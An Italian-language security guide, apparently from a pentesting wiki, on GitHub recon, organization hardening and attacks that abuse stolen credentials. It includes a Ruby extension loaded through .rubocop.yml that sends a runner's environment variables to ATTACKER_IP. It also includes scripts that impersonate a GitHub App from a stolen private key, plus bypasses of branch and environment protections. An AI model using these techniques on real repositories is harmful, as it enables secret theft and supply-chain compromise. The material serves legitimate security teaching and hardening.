Sicurezza di Github

Reading time: 19 minutes

Cos'è Github

(From here) A un livello alto, GitHub è un sito web e un servizio basato su cloud che aiuta gli sviluppatori a memorizzare e gestire il loro codice, oltre a tracciare e controllare le modifiche al loro codice.

Informazioni di base

Basic Github Information

Ricognizione esterna

I repository di Github possono essere configurati come pubblici, privati e interni.

• Privato significa che solo le persone dell'organizzazione potranno accedervi
• Interno significa che solo le persone dell'impresa (un'impresa può avere diverse organizzazioni) potranno accedervi
• Pubblico significa che tutto internet potrà accedervi.

Nel caso tu conosca il utente, il repo o l'organizzazione che vuoi targetizzare, puoi usare github dorks per trovare informazioni sensibili o cercare leak di informazioni sensibili in ogni repo.

Github Dorks

Github consente di cercare qualcosa specificando come ambito un utente, un repo o un'organizzazione. Pertanto, con un elenco di stringhe che appariranno vicino a informazioni sensibili, puoi facilmente cercare potenziali informazioni sensibili nel tuo obiettivo.

Strumenti (ogni strumento contiene il proprio elenco di dorks):

• https://github.com/obheda12/GitDorker (Dorks list)
• https://github.com/techgaun/github-dorks (Dorks list)
• https://github.com/hisxo/gitGraber (Dorks list)

Github Leaks

Si prega di notare che i github dorks sono anche destinati a cercare leak utilizzando le opzioni di ricerca di github. Questa sezione è dedicata a quegli strumenti che scaricheranno ogni repo e cercheranno informazioni sensibili in essi (controllando anche una certa profondità di commit).

Strumenti (ogni strumento contiene il proprio elenco di regex):

Controlla questa pagina: https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html

Fork esterni

È possibile compromettere i repo abusando delle pull request. Per sapere se un repo è vulnerabile, è principalmente necessario leggere le configurazioni yaml delle Github Actions. Maggiore info su questo di seguito.

Github Leaks in fork eliminati/interni

Anche se eliminati o interni, potrebbe essere possibile ottenere dati sensibili da fork di repository github. Controllalo qui:

Accessible Deleted Data in Github

Indurimento dell'organizzazione

Privilegi dei membri

Ci sono alcuni privilegi predefiniti che possono essere assegnati ai membri dell'organizzazione. Questi possono essere controllati dalla pagina https://github.com/organizations/<org_name>/settings/member_privileges o dall' API delle organizzazioni.

• Permessi di base: I membri avranno il permesso Nessuno/Leggi/scrivi/Amministratore sui repository dell'organizzazione. Si consiglia di impostare Nessuno o Leggi.
• Forking dei repository: Se non necessario, è meglio non consentire ai membri di forkare i repository dell'organizzazione.
• Creazione di pagine: Se non necessario, è meglio non consentire ai membri di pubblicare pagine dai repo dell'organizzazione. Se necessario, puoi consentire di creare pagine pubbliche o private.
• Richieste di accesso all'integrazione: Con questo abilitato, i collaboratori esterni potranno richiedere l'accesso per le app GitHub o OAuth per accedere a questa organizzazione e alle sue risorse. Di solito è necessario, ma se non lo è, è meglio disabilitarlo.
• Non sono riuscito a trovare queste informazioni nella risposta delle API, condividi se lo fai
• Cambio di visibilità del repository: Se abilitato, i membri con permessi amministrativi per il repository potranno cambiare la sua visibilità. Se disabilitato, solo i proprietari dell'organizzazione possono cambiare le visibilità dei repository. Se non vuoi che le persone rendano le cose pubbliche, assicurati che questo sia disabilitato.
• Non sono riuscito a trovare queste informazioni nella risposta delle API, condividi se lo fai
• Cancellazione e trasferimento del repository: Se abilitato, i membri con permessi amministrativi per il repository potranno cancellare o trasferire repository pubblici e privati.
• Non sono riuscito a trovare queste informazioni nella risposta delle API, condividi se lo fai
• Consentire ai membri di creare team: Se abilitato, qualsiasi membro dell'organizzazione potrà creare nuovi team. Se disabilitato, solo i proprietari dell'organizzazione possono creare nuovi team. È meglio avere questo disabilitato.
• Non sono riuscito a trovare queste informazioni nella risposta delle API, condividi se lo fai
• Altre cose possono essere configurate in questa pagina, ma le precedenti sono quelle più legate alla sicurezza.

Impostazioni delle azioni

Diverse impostazioni relative alla sicurezza possono essere configurate per le azioni dalla pagina https://github.com/organizations/<org_name>/settings/actions.

• Politiche delle azioni di Github: Consente di indicare quali repository possono eseguire flussi di lavoro e quali flussi di lavoro dovrebbero essere consentiti. Si consiglia di specificare quali repository dovrebbero essere consentiti e di non consentire a tutte le azioni di essere eseguite.
• API-1, API-2
• Flussi di lavoro delle pull request forkate da collaboratori esterni: Si consiglia di richiedere approvazione per tutti i collaboratori esterni.
• Non sono riuscito a trovare un'API con queste informazioni, condividi se lo fai
• Esegui flussi di lavoro da pull request forkate: È fortemente sconsigliato eseguire flussi di lavoro da pull request poiché i manutentori dell'origine del fork avranno la possibilità di utilizzare token con permessi di lettura sul repository sorgente.
• Non sono riuscito a trovare un'API con queste informazioni, condividi se lo fai
• Permessi dei flussi di lavoro: È altamente consigliato fornire solo permessi di lettura sui repository. È sconsigliato fornire permessi di scrittura e di creazione/approvazione delle pull request per evitare l'abuso del GITHUB_TOKEN fornito per l'esecuzione dei flussi di lavoro.
• API

Integrazioni

Fammi sapere se conosci l'endpoint API per accedere a queste informazioni!

• Politica di accesso alle applicazioni di terze parti: Si consiglia di limitare l'accesso a ogni applicazione e consentire solo quelle necessarie (dopo averle esaminate).
• App GitHub installate: Si consiglia di consentire solo quelle necessarie (dopo averle esaminate).

Ricognizione e attacchi abusando delle credenziali

Per questo scenario supponiamo che tu abbia ottenuto un accesso a un account github.

Con le credenziali dell'utente

Se in qualche modo hai già le credenziali per un utente all'interno di un'organizzazione, puoi solo accedere e controllare quali ruoli di impresa e organizzazione hai, se sei un membro normale, controlla quali permessi hanno i membri normali, in quali gruppi sei, quali permessi hai su quali repo e come sono protetti i repo.

Nota che 2FA potrebbe essere utilizzato, quindi potrai accedere a queste informazioni solo se puoi anche superare quel controllo.

Controlla la sezione qui sotto su bypass delle protezioni dei rami nel caso possa essere utile.

Con la chiave SSH dell'utente

Github consente ai utenti di impostare chiavi SSH che verranno utilizzate come metodo di autenticazione per distribuire codice per loro conto (non viene applicata 2FA).

Con questa chiave puoi effettuare modifiche nei repository dove l'utente ha alcuni privilegi, tuttavia non puoi usarla per accedere all'API di github per enumerare l'ambiente. Tuttavia, puoi enumerare le impostazioni locali per ottenere informazioni sui repo e sull'utente a cui hai accesso:

# Go to the the repository folder
# Get repo config and current user name and email
git config --list

Se l'utente ha configurato il proprio nome utente come il suo nome utente github, puoi accedere alle chiavi pubbliche che ha impostato nel suo account in https://github.com/<github_username>.keys, puoi controllare questo per confermare che la chiave privata che hai trovato può essere utilizzata.

Le chiavi SSH possono anche essere impostate nei repository come chiavi di distribuzione. Chiunque abbia accesso a questa chiave sarà in grado di lanciare progetti da un repository. Di solito, in un server con diverse chiavi di distribuzione, il file locale ~/.ssh/config ti darà informazioni su quale chiave è correlata.

Chiavi GPG

Come spiegato qui, a volte è necessario firmare i commit o potresti essere scoperto.

Controlla localmente se l'utente corrente ha qualche chiave con:

gpg --list-secret-keys --keyid-format=long

Con Token Utente

Per un'introduzione sui Token Utente controlla le informazioni di base.

Un token utente può essere utilizzato invece di una password per Git su HTTPS, o può essere utilizzato per autenticarsi all'API tramite Basic Authentication. A seconda dei privilegi ad esso associati, potresti essere in grado di eseguire diverse azioni.

Un token utente appare così: ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123

Con Applicazione Oauth

Per un'introduzione sulle Applicazioni Oauth di Github controlla le informazioni di base.

Un attaccante potrebbe creare un Applicazione Oauth malevola per accedere a dati/azioni privilegiati degli utenti che le accettano probabilmente come parte di una campagna di phishing.

Questi sono i scope che un'applicazione Oauth può richiedere. Un utente dovrebbe sempre controllare gli scope richiesti prima di accettarli.

Inoltre, come spiegato nelle informazioni di base, le organizzazioni possono concedere/negare l'accesso a applicazioni di terze parti a informazioni/repo/azioni relative all'organizzazione.

Con Applicazione Github

Per un'introduzione sulle Applicazioni Github controlla le informazioni di base.

Un attaccante potrebbe creare un Applicazione Github malevola per accedere a dati/azioni privilegiati degli utenti che le accettano probabilmente come parte di una campagna di phishing.

Inoltre, come spiegato nelle informazioni di base, le organizzazioni possono concedere/negare l'accesso a applicazioni di terze parti a informazioni/repo/azioni relative all'organizzazione.

Imita un'App GitHub con la sua chiave privata (JWT → token di accesso per installazione)

Se ottieni la chiave privata (PEM) di un'App GitHub, puoi impersonare completamente l'app in tutte le sue installazioni:

• Genera un JWT a breve termine firmato con la chiave privata
• Chiama l'API REST dell'App GitHub per enumerare le installazioni
• Crea token di accesso per ogni installazione e usali per elencare/clonare/pushare nei repository concessi a quell'installazione

Requisiti:

• Chiave privata dell'App GitHub (PEM)
• ID dell'App GitHub (numerico). GitHub richiede che iss sia l'ID dell'App

Crea JWT (RS256):

#!/usr/bin/env python3
import time, jwt

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)

def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60,  # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")

Elenca le installazioni per l'app autenticata:

JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)

curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations

Crea un token di accesso per l'installazione (valido ≤ 10 minuti):

INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens

Usa il token per accedere al codice. Puoi clonare o inviare utilizzando la forma URL x‑access‑token:

TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository

Programmatic PoC per mirare a un'organizzazione specifica e elencare i repository privati (PyGithub + PyJWT):

#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)
ORG    = "someorg"

def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")

auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")

jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]

print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)

Note:

• I token di installazione ereditano esattamente i permessi a livello di repository dell'app (ad esempio, contents: write, pull_requests: write)
• I token scadono in ≤10 minuti, ma nuovi token possono essere creati indefinitamente finché si mantiene la chiave privata
• Puoi anche enumerare le installazioni tramite l'API REST (GET /app/installations) utilizzando il JWT

Compromissione e abuso di Github Action

Ci sono diverse tecniche per compromettere e abusare di una Github Action, controllale qui:

Abusing Github Actions

Abuso di GitHub Apps di terze parti che eseguono strumenti esterni (Rubocop extension RCE)

Alcune GitHub Apps e servizi di revisione PR eseguono linters/SAST esterni contro le pull request utilizzando file di configurazione controllati dal repository. Se uno strumento supportato consente il caricamento dinamico del codice, una PR può ottenere RCE sul runner del servizio.

Esempio: Rubocop supporta il caricamento di estensioni dal suo file di configurazione YAML. Se il servizio passa attraverso un .rubocop.yml fornito dal repo, puoi eseguire Ruby arbitrario richiedendo un file locale.

• Le condizioni di attivazione di solito includono:
• Lo strumento è abilitato nel servizio
• La PR contiene file che lo strumento riconosce (per Rubocop: .rb)
• Il repo contiene il file di configurazione dello strumento (Rubocop cerca .rubocop.yml ovunque)

File di exploit nella PR:

.rubocop.yml

require:
- ./ext.rb

ext.rb (esfiltrare le variabili d'ambiente del runner):

require 'net/http'
require 'uri'
require 'json'

env_vars  = ENV.to_h
json_data = env_vars.to_json
url       = URI.parse('http://ATTACKER_IP/')

begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end

Includi anche un file Ruby fittizio sufficientemente grande (ad es., main.rb) in modo che il linter venga effettivamente eseguito.

Impatto osservato nel mondo reale:

• Esecuzione completa del codice sul runner di produzione che ha eseguito il linter
• Esfiltrazione di variabili ambientali sensibili, inclusa la chiave privata dell'app GitHub utilizzata dal servizio, chiavi API, credenziali DB, ecc.
• Con una chiave privata dell'app GitHub trapelata puoi generare token di installazione e ottenere accesso in lettura/scrittura a tutti i repository concessi a quell'app (vedi la sezione sopra sull' impersonificazione dell'app GitHub)

Linee guida per il rafforzamento dei servizi che eseguono strumenti esterni:

• Tratta le configurazioni degli strumenti fornite dal repository come codice non attendibile
• Esegui strumenti in sandbox strettamente isolate senza variabili ambientali sensibili montate
• Applica credenziali con il minor privilegio e isolamento del filesystem, e limita/nega l'uscita della rete per gli strumenti che non richiedono accesso a Internet

Bypass della Protezione dei Branch

• Richiedi un numero di approvazioni: Se hai compromesso diversi account potresti semplicemente accettare le tue PR da altri account. Se hai solo l'account da cui hai creato la PR non puoi accettare la tua PR. Tuttavia, se hai accesso a un ambiente Github Action all'interno del repo, utilizzando il GITHUB_TOKEN potresti essere in grado di approvare la tua PR e ottenere 1 approvazione in questo modo.
• Nota per questo e per la restrizione dei Code Owners che di solito un utente non sarà in grado di approvare le proprie PR, ma se lo sei, puoi abusarne per accettare le tue PR.
• Annulla le approvazioni quando vengono inviati nuovi commit: Se questo non è impostato, puoi inviare codice legittimo, aspettare che qualcuno lo approvi e inserire codice malevolo e fonderlo nel branch protetto.
• Richiedi revisioni dai Code Owners: Se questo è attivato e sei un Code Owner, potresti far sì che una Github Action crei la tua PR e poi approvarla tu stesso.
• Quando un file CODEOWNER è configurato in modo errato, Github non si lamenta ma non lo utilizza. Pertanto, se è configurato in modo errato, la protezione dei Code Owners non viene applicata.
• Consenti a determinati attori di bypassare i requisiti delle pull request: Se sei uno di questi attori puoi bypassare le protezioni delle pull request.
• Includi gli amministratori: Se questo non è impostato e sei amministratore del repo, puoi bypassare queste protezioni del branch.
• Hijacking delle PR: Potresti essere in grado di modificare la PR di qualcun altro aggiungendo codice malevolo, approvando la PR risultante tu stesso e fondendo tutto.
• Rimozione delle Protezioni dei Branch: Se sei un amministratore del repo puoi disabilitare le protezioni, fondere la tua PR e ripristinare le protezioni.
• Bypassing delle protezioni di push: Se un repo consente solo a determinati utenti di inviare push (fondere codice) nei branch (la protezione del branch potrebbe proteggere tutti i branch specificando il carattere jolly *).
• Se hai accesso in scrittura sul repo ma non ti è consentito inviare codice a causa della protezione del branch, puoi comunque creare un nuovo branch e all'interno di esso creare una github action che viene attivata quando viene inviato codice. Poiché la protezione del branch non proteggerà il branch fino a quando non sarà creato, questo primo push di codice nel branch eseguirà la github action.

Bypass delle Protezioni degli Ambienti

Per un'introduzione su Github Environment controlla le informazioni di base.

Nel caso in cui un ambiente possa essere accessibile da tutti i branch, non è protetto e puoi facilmente accedere ai segreti all'interno dell'ambiente. Nota che potresti trovare repo in cui tutti i branch sono protetti (specificando i loro nomi o utilizzando *); in quel scenario, trova un branch dove puoi inviare codice e puoi esfiltrare i segreti creando una nuova github action (o modificandone una).

Nota che potresti trovare il caso limite in cui tutti i branch sono protetti (tramite carattere jolly *) è specificato chi può inviare codice ai branch (puoi specificarlo nella protezione del branch) e il tuo utente non è autorizzato. Puoi comunque eseguire una github action personalizzata perché puoi creare un branch e utilizzare il trigger di push su se stesso. La protezione del branch consente il push a un nuovo branch quindi la github action verrà attivata.

push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch

Nota che dopo la creazione del branch, la protezione del branch si applicherà al nuovo branch e non sarai in grado di modificarlo, ma per quel momento avrai già estratto i segreti.

Persistenza

• Genera user token
• Ruba github tokens da secrets
• Cancellazione dei risultati del workflow e dei branch
• Dai più permessi a tutta l'org
• Crea webhook per esfiltrare informazioni
• Invita collaboratori esterni
• Rimuovi i webhook utilizzati dal SIEM
• Crea/modifica Github Action con una backdoor
• Trova Github Action vulnerabili a command injection tramite modifica del valore secret

Imposter Commits - Backdoor tramite commit del repo

In Github è possibile creare una PR per un repo da un fork. Anche se la PR non viene accettata, un commit id all'interno del repo originale verrà creato per la versione fork del codice. Pertanto, un attaccante potrebbe fare riferimento a un commit specifico da un repo apparentemente legittimo che non è stato creato dal proprietario del repo.

Come questo:

name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'

Per ulteriori informazioni controlla https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd

Riferimenti

• Come abbiamo sfruttato CodeRabbit: da una semplice PR a RCE e accesso in scrittura su 1M repository
• Estensioni Rubocop (richiesta)
• Autenticazione con un'app GitHub (JWT)
• Elenca le installazioni per l'app autenticata
• Crea un token di accesso all'installazione per un'app